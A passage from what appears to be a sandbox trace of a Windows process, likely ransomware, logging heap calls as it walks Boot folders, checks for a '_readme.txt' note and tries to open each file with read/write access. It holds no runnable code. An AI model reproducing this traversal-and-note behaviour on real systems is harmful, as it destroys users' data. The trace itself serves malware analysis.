(in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.784] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.784] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.784] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.784] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.784] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.784] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.784] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.784] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.784] PathFindFileNameW (pszPath="") returned="" [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.784] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.784] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.784] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.784] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.785] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.785] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.785] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.785] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.785] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x3247f78 [0066.785] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0066.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.785] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0066.785] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.785] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.785] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.785] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0066.785] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.785] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3200030, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.786] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned=".txt" [0066.786] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3200030, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.786] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.786] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.786] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.786] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0066.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.786] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.786] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.786] PathFindFileNameW (pszPath="") returned="" [0066.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.786] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.787] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.787] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.787] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.787] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0066.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.787] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.787] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0066.787] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.787] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.787] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.787] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.787] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0066.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.787] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.787] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0066.787] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.788] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.788] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0066.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.788] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.788] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0066.788] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.789] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0066.789] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.789] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.789] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0066.789] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.789] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0066.789] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.789] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.789] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0066.789] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.789] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0066.789] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.789] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.789] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0066.789] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.789] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3226190, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.790] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned=".txt" [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.790] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3226190, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.790] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.790] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.790] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 